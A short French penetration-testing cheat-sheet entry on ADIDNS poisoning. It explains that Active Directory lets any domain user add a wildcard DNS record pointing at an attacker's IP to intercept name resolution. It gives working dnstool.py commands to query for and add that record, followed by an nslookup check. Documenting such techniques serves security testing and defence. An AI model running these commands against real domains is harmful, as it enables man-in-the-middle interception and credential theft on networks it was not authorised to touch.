ADIDNS Poisoning

ADIDNS (Active Directory Integrated DNS) est l’implémentation des mécanismes de DNS au sein d’Active Directory, il s’agit d’un rôle présent généralement sur le contrôleur de domaine.

Principe

Nativement, tout utilisateur d’un domaine Active Directory peut ajouter des enregistrements DNS dans une zone, à condition que ces derniers ne soient pas déjà existants. Problème : l’enregistrement wildcard n’est pas créé par défaut dans une zone, un attaquant est alors en mesure de l’ajouter et le faire pointer vers sa propre adresse IP. Ce dernier agit comme enregistrement par défaut lorsqu’aucune réponse n’est trouvée pour une demande de résolution. Il est ainsi possible de répondre à des demandes de résolutions de nom et d’ainsi réaliser du Man in the middle.

Exploitation

Dans un premier temps, vérifier que l’enregistrement wildcard n’est pas déjà existant dans la zone DNS :

dnstool.py -u "$DOMAIN\$USER" -p $PASSWORD --record '*' --action query $DC

Ajouter l’enregistrement wildcard et l’attribuer à sa propre adresse IP :

dnstool.py -u "$DOMAIN\$USER" -p $PASSWORD --record '*' --action add --data $ATTACKER_IP $DC

Après un temps de propagation, tester une résolution de nom bullshit pour voir si notre adresse IP est bien résolue :

nslookup nonexistantdomain.$DOMAIN